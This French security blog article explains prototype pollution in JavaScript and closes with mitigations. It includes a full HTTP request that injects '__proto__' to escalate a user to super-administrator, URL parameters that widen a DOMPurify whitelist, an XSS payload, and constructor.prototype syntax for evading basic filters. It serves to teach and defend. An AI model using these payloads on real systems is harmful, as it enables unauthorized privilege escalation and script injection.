Prototype pollution : principes, exploitations et bonnes pratiques sécurité

Les failles de type « prototype pollution » sont spécifiques à Javascript. Elles peuvent être exploitées côté serveur et côté client. Ces failles permettent à des attaquants d’exécuter du code malveillant ou de voler des données.

Il est donc crucial de comprendre et de traiter ces vulnérabilités. Cet article détaille les principes des failles prototype pollution, les exploitations côté serveur et client, ainsi que les mesures à implémenter pour contrer les attaques.

Qu’est-ce qu’une faille prototype pollution ?

Comme mentionné en introduction, les failles de type « prototype pollution » sont spécifiques à JavaScript en raison de sa gestion particulière des objets. Cela réduit leur probabilité d’exploitation côté serveur.

En revanche, la surface d’attaque côté client est beaucoup plus grande, car JavaScript est universellement utilisé par les navigateurs modernes.

Pour comprendre cette faille de sécurité, il est important d’expliquer comment les objets sont instanciés et ce que sont les prototypes dans JavaScript.

Le développement orienté objet est un paradigme de programmation basé sur des objets. Ces objets sont des ensembles de données contenus dans des champs. Ils peuvent représenter des concepts concrets, comme une voiture, ou abstraits, comme un widget.

JavaScript permet l’utilisation des objets. On peut les créer ainsi :

car = {color : « red », power : « 90ch »}

L’objet ainsi créé possède 2 propriétés : « color » et « power ». Ces propriétés sont de type chaîne de caractères, mais elles pourraient aussi être un entier, un booléen, une fonction ou même un autre objet.

Dans JavaScript, tous les objets disposent automatiquement de fonctionnalités de base grâce au mécanisme de prototype.

Prototype de l’objet « car »
Propriété toString()

Ici, on voit que l’objet possède déjà la fonction toString(), même si elle n’a pas été définie explicitement. Cela est possible grâce au prototype de l’objet « car ».

On accède à ce prototype avec :

car.__proto__

Il est possible de réécrire les propriétés de l’objet ; ces dernières étant prioritaires sur les propriétés du prototype. Ainsi, on peut créer une fonction toString() personnalisée. Ce procédé s’appelle le « shadowing ».

Une vulnérabilité de type « Prototype Pollution » survient lorsque l’utilisateur peut modifier les propriétés du prototype.

En changeant le prototype d’un objet, un utilisateur peut impacter tous les autres objets.

Si on reprend l’exemple précédent :

Pollution d’un autre objet

La fonction toString() a été modifiée, et tous les objets héritent de cette nouvelle fonction.

Voyons l’impact que cela peut avoir lors d’une exploitation réelle côté serveur et côté client.

Exploitation d’un prototype pollution côté serveur

Ce type de vulnérabilité existe souvent à cause de librairies vulnérables. Nous allons examiner une exploitation simple d’un Prototype Pollution, mais néanmoins impactante.

Un système de rôle est assez courant dans une application. Imaginons un système simple avec trois rôles :

  • « Utilisateur » : qui peut seulement ajouter et modifier des documents ;
  • « Administrateur » : qui peut voir, créer des utilisateurs et accéder à tous les documents de son entreprise ;
  • « SuperAdministrateur » : réservé aux collaborateurs de l’éditeur de l’application, qui a accès à toutes les organisations pour résoudre les problèmes des clients.

Dans une organisation donnée, seuls les utilisateurs de type « Administrateur » peuvent modifier le rôle d’un autre compte.

La requête est la suivante :

PATCH /user/info /137 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/

{"prenom”: “John”, “nom”: “Doe”, “email”: “[email protected]”, “role”: “Administrateur”}

Et la réponse :

HTTP/2 200 OK
Date: Thu, 25 Jul 2024 09:34:26 GMT
Content-Type: application/json
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{"prenom”: “John”, “nom”: “Doe”, “email”: “[email protected]”, “role”: “Administrateur”}

Le compte d’ID 137 vient d’être passé au rôle « Administrateur ». Cependant, il n’est pas possible de le passer « SuperAdministrateur ».

En effet, un contrôle côté serveur exige qu’une requête avec un jeton de session correspondant à un « SuperAdministrateur » soit utilisée pour accorder ce rôle.

L’exploitation d’une faille de type Prototype Pollution permet de contourner cette protection et d’élever ses privilèges sur la plateforme.

La requête d’exploitation est la suivante :

PATCH /user/info /137 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborateur
Referer: https://app.target.com/

{"prenom”: “John”, “nom”: “Doe”, “email”: “[email protected]”, “role”: “Administrateur”,”__proto__”:{“test”:true, “role”:”SuperAdministrateur”}}

Et on obtient la réponse suivante :

HTTP/2 200 OK
Date: Thu, 25 Jul 2024 09:34:26 GMT
Content-Type: application/json
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{"prenom”: “John”, “nom”: “Doe”, “email”: “[email protected]”, “role”: “SuperAdministrateur”, “test”: true}

La requête sera acceptée, car le paramètre « rôle » a une valeur autorisée. Le problème réside dans le fait que le serveur modifie l’objet en fonction de tout ce qui se trouve dans le corps de la requête. Ici, l’utilisateur accède directement au prototype de l’objet User.

L’impact est critique dans ce cas, car un client ayant accès uniquement à son entreprise peut maintenant modifier tous les clients présents sur la plateforme.

La détection de la vulnérabilité était relativement simple dans cet exemple, car les paramètres étaient reflétés dans la réponse. Le paramètre « test » a été utile ; sa présence dans la réponse a permis de comprendre que l’application était vulnérable.

Il existe d’autres techniques pour détecter cette vulnérabilité sans provoquer un déni de service sur l’application. Modifier le prototype global peut entraîner des changements persistants dans le processus Node et affecter le fonctionnement de l’application pour tous les utilisateurs.

Le principe consiste à modifier la réponse de l’application sans perturber son fonctionnement. Voici quelques méthodes :

  • Modifier l’encodage des données : Changer le content-type pour que l’application réponde en UTF-7 au lieu d’UTF-8, par exemple.
  • Changer le statut de réponse HTTP : Utiliser un code HTTP que le serveur ne renvoie pas normalement.
  • Limiter le nombre de paramètres dans une requête : Si l’injection est réussie, le serveur pourrait ne pas traiter tous les paramètres de la requête, dépassant ainsi la limite et renvoyant une erreur.

D’autres techniques de détection de prototype pollution sont également décrites par Portswigger.

Exploitation d’un prototype pollution côté client

JavaScript étant le langage utilisé par les navigateurs, la pollution d’un prototype peut aussi survenir côté client. L’impact sera différent, mais pas nécessairement moins critique. Cela peut permettre d’exploiter des injections de code JavaScript, comme les attaques DOM XSS.

La détection d’une telle vulnérabilité est beaucoup plus simple ici, car tout se déroule dans le navigateur que nous contrôlons. De plus, il n’y a aucun risque de causer un déni de service global.

Pour vérifier que l’injection a réussi, il suffit d’ouvrir la console du navigateur et d’inspecter le prototype.

Objet pollué

Nous allons voir comment impacter la sécurité de l’application suite à cette détection.

Par exemple, il est possible de contourner les protections des sanitizers HTML, comme DOMPurify, qui éliminent les tags HTML indésirables tout en autorisant certains tags dans les champs de texte enrichi.

Ces outils utilisent une liste blanche des tags autorisés. La pollution du prototype peut permettre d’élargir cette liste blanche.

Avant la version 2.0.13 de DOMPurify, il était possible d’élargir la whitelist de cette manière (les paramètres étant passés dans l’URL) :

?__proto__[ALLOWED_ATTR][0]=onerror&__proto__[ALLOWED_ATTR][1]=src

La payload suivante pourra alors être exécutée par le navigateur de la victime, car les attributs ont été autorisés par la pollution :

<img src=x onerror=alert(1)>

L’extension Burp, DOM Invader, permet d’identifier automatiquement les prototype pollution côté client. En effet, son plugin chrome permet de détecter la pollution en trouvant la source (l’endroit où le code JavaScript est injecté par l’utilisateur) et le sink (la fonction qui exécute ce code).

Détection de la source
Identification du gadget

Il est possible dans certains cas d’aller jusqu’à l’exploitation en appuyant sur le bouton « Exploit ».

À noter que plusieurs syntaxes permettent d’accéder au prototype d’un objet.

Dans l’URL :

-	 ?__proto__[polluted]=true
-	 ?[constructor][prototype][polluted]=true

Dans le JSON :

{
    "constructor": {
        "prototype": {
            "polluted": true
        }
    }
}

Cela peut être utile pour contourner des protections très basiques.

Comment prévenir les failles prototype pollution ?

Comment se protéger de la vulnérabilité décrite dans cet article ? Voici plusieurs recommandations :

  • Mettre à jour les dépendances : c’est un conseil général pour tous les problèmes de sécurité, mais particulièrement important ici, car la vulnérabilité est souvent introduite par des composants tiers.
  • Contrôler strictement les paramètres : utiliser une liste blanche des valeurs attendues peut aider à prévenir les problèmes, y compris les assignations massives.
  • Utiliser Object.freeze() : cette fonction empêche toute modification de l’objet sur lequel elle est appelée, ce qui aide à éviter la pollution.
  • Manipuler le prototype : une autre solution consiste à définir le prototype sur null, comme ceci : Object.create(null)

Auteur : Julien BRACON – Pentester @Vaadata